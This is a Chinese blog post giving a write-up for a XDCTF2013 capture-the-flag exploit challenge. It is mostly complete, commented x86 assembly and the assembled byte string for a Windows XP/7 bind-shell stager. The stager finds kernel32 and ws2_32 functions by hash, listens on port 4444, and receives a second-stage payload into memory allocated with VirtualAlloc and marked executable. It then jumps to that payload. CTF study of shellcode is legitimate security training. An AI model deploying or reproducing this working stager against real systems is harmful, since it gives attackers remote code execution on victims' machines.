XDCTF2013线上赛exploit关(二)

   本题只要求写出一个shellcode,实现功能如下:

     1.  该shellcode能够在Win xp sp3 、Win7下测试运行;

     2.  该shellcode能够监听4444端口;

     3.  控制端可通过该shellcode的上传其他shellcode(A)到被控端,并执行A;

     4.  要求写出汇编代码及shellcode,需要有必要的注释;


实现的思路很简单,建立socket,绑定4444端口监听,收到连接后使用VirtualAlloc()函数申请一个可执行的buf,然后把buf作为参数调用recv()函数,接收完毕后jmp到buf执行。

WSAStartup() --> WSASocketA() --> bind() --> listen() --> accept() ↘

                                                                                              VirtualAlloc() --> recv() --> jmp buf

需要的函数上面的流程图里已经有了。直接贴代码吧,拿0day安全那本书里面的shellcode改的

		cld

		; 各API的hash值
		push 0xc7979076				; recv()
		push 0x01971eb1				; accept()
		push 0x4bd39f0c				; listen()
		push 0xdda71064				; bind()
		push 0xde78322d				; WSASocketA()
		push 0x80b46a3d				; WSAStartup()
		push 0x1ede5967				; VirtualAlloc()
		push 0x0c917432				; LoadLibraryA()
		mov esi, esp				; esi指向存放hash值的内存
		lea edi, [esi-0x20]			; edi指向存放API地址的内存

		; 获取kernel32.dll的基址
		xor edx, edx
		mov ebx, fs:[edx + 0x30]		; PEB地址
		mov ecx, [ebx + 0x0c]			; _PEB_LDR_DATA地址
		mov ecx, [ecx + 0x1c]			; 模块链表InInitialzationOrderModuleList的第一个节点
		mov ecx, [ecx]				; 第二个节点
		mov edx, [ecx + 0x18]			; 第二个节点dll的全名
		mov edx, [edx + 0x34]			; 第二个节点全名偏移0x34处
		cmp dl, 0x33				; xp下第二个节点为kernel32.dll
		je kernel32                             ; win7下为kernelBase.dll,因此要判断一下
		mov ecx, [ecx]
	kernel32:
		mov ebp, [ecx + 0x08]			; ebp = kernel32.dll基址

		; 抬高栈顶,防止后面调用函数时覆盖数据
		xor edx, edx
		mov dh, 0x03				; 抬高0x300
		sub esp, edx

		; 压入"ws2_32"
		mov dx, 0x3233				; edx的高8位为0,即字符串结尾的NULL
		push edx
		push 0x5f327377
		push esp

	find_lib_functions:
		lodsd					; 将hash值复制进eax,同时esi加1
		cmp eax, 0x80b46a3d			; 判断是否需要LoadLibraryA("ws2_32.dll")
		jne find_functions
		xchg eax, ebp				; 保存当前hash值
		call [edi-0x08]				; LoadLibraryA
		xchg eax, ebp				; 还原hash,同时将ebp更新为ws2_32.dll基址

		push edi				; edi指向存放第一个winsock函数地址的内存

	find_functions:
		pushad					; 保存寄存器
		mov eax, [ebp+0x3c]			; PE头
		mov ecx, [ebp+eax+0x78]			; 导出表偏移量
		add ecx, ebp				; 导出表实际地址
		mov ebx, [ecx+0x20]			; 函数名称列表相对于dll基址的偏移量
		add ebx, ebp				; 函数名称列表实际地址

		xor edi, edi				; 清零edi,它作为函数计数器

	next_function_loop:
		inc edi						
		mov esi, [ebx+edi*4]			; 当前函数名字的偏移量
		add esi, ebp				; 当前函数名字的实际地址
		cdq							

	hash_loop:
		movsx eax, byte ptr [esi]		; 取出当前函数名字的某个字符
		cmp al, ah				; 判断是否到名字结尾
		jz compare_hash				
		ror edx, 7				; 循环右移7位,加上新字符的值
		add edx, eax
		inc esi
		jmp hash_loop

	compare_hash:
		cmp edx, [esp+0x1c]			; 比较hash值(pushad时存放在栈中)
		jnz next_function_loop			; 不相等则跳转,取下一个函数

		mov ebx, [ecx+0x24]			
		add ebx, ebp				
		mov di, [ebx+2*edi]			
		mov ebx, [ecx+0x1c]			; 地址表偏移
		add ebx, ebp				; 地址表实际地址
		add ebp, [ebx+4*edi]			; 函数地址
		xchg eax, ebp				; 将函数地址存储到eax中
		pop edi					; pushad时,edi最后一个入栈
		stosd					; 将函数地址写如[edi],然后edi加1
		push edi
		popad					; 还原寄存器
		cmp eax, 0xc7979076			; 判断是否取得所有函数地址
		jne find_lib_functions

		pop esi					; 第一个winsock函数的地址,对应上面的push edi

		; 初始化winsock
		push esp				; WSADATA,使用栈空间
		push 0x02				; wVersionRequested
		lodsd						
		call eax				; WSAStartup()

		; 清零栈空间,当做NULL参数
		lea ecx, [eax + 0x30]			; sizeof(STARTUPINFO) = 0x44
		mov edi, esp
		rep stosd				; 清零栈空间

		; 创建socket
		inc eax
		push eax				; SOCK_STREAM
		inc eax				
		push eax				; AF_INET
		lodsd
		call eax				; WSASocketA()
		xchg ebp, eax				; 保存SOCKET描述符

		; bind()函数参数入栈
		mov eax, 0x5c11ff02			; 0x5c11 = 4444端口, 0x02 = AF_INET
		xor ah, ah				; 移除eax中的ff
		push eax				; 以此作为sockaddr结构体,同时也是namelen参数
		push esp				; sockaddr

		; 依次调用bind(), listen(), accept()
	call_loop:
		push ebp				; SOCKET描述符
		lodsd
		call eax				; 调用函数
		test eax, eax				; bind()和listen()返回0,accept()返回新的SOCKET描述符
		jz call_loop

		xchg eax, ebp				; 保存新的SOCKET描述符

		; 调用VirtualAlloc()函数申请可执行的内存空间
		xor edx, edx
		add dl, 0x40
		push edx				; flProtect = 0x40,读,写,执行
		xor edx, edx
		add dh, 0x10
		push edx				; flAlloction Type = 0x1000
		mov dh, 0x04
		push edx				; dwSize = 0x400,申请0x400字节
		xor edx, edx
		push edx				; lpAddress = NULL,由系统分配首地址
		call [esi-0x18]				; VirtualAlloc()

		xchg eax, ebp				; 执行完这一语句,eax = SOCKET描述符,ebp = 申请的内存首地址

		xor edx, edx			
		push edx				; flags = 0
		mov dh, 0x04
		push edx				; len = 0x400
		push ebp				; buf
		push eax				; SOCKET
		call [esi]				; recv()
		jmp ebp					; 接收shellcode后,跳转执行

shellcode:

"\xFC\x68\x76\x90\x97\xC7\x68\xB1\x1E\x97\x01\x68"
"\x0C\x9F\xD3\x4B\x68\x64\x10\xA7\xDD\x68\x2D\x32"
"\x78\xDE\x68\x3D\x6A\xB4\x80\x68\x67\x59\xDE\x1E"
"\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xE0\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09"
"\x8B\x51\x18\x8B\x52\x34\x80\xFA\x33\x74\x02\x8B"
"\x09\x8B\x69\x08\x33\xD2\xB6\x03\x2B\xE2\x66\xBA"
"\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAD\x3D\x3D"
"\x6A\xB4\x80\x75\x06\x95\xFF\x57\xF8\x95\x57\x60"
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20"
"\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F"
"\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46"
"\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03"
"\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C"
"\xBB\x95\x5F\xAB\x57\x61\x3D\x76\x90\x97\xC7\x75"
"\xA8\x5E\x54\x6A\x02\xAD\xFF\xD0\x8D\x48\x30\x8B"
"\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8"
"\x02\xFF\x11\x5C\x32\xE4\x50\x54\x55\xAD\xFF\xD0"
"\x85\xC0\x74\xF8\x95\x33\xD2\x80\xC2\x40\x52\x33"
"\xD2\x80\xC6\x10\x52\xB6\x04\x52\x33\xD2\x52\xFF"
"\x56\xE8\x95\x33\xD2\x52\xB6\x04\x52\x55\x50\xFF"
"\x16\xFF\xE5"


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值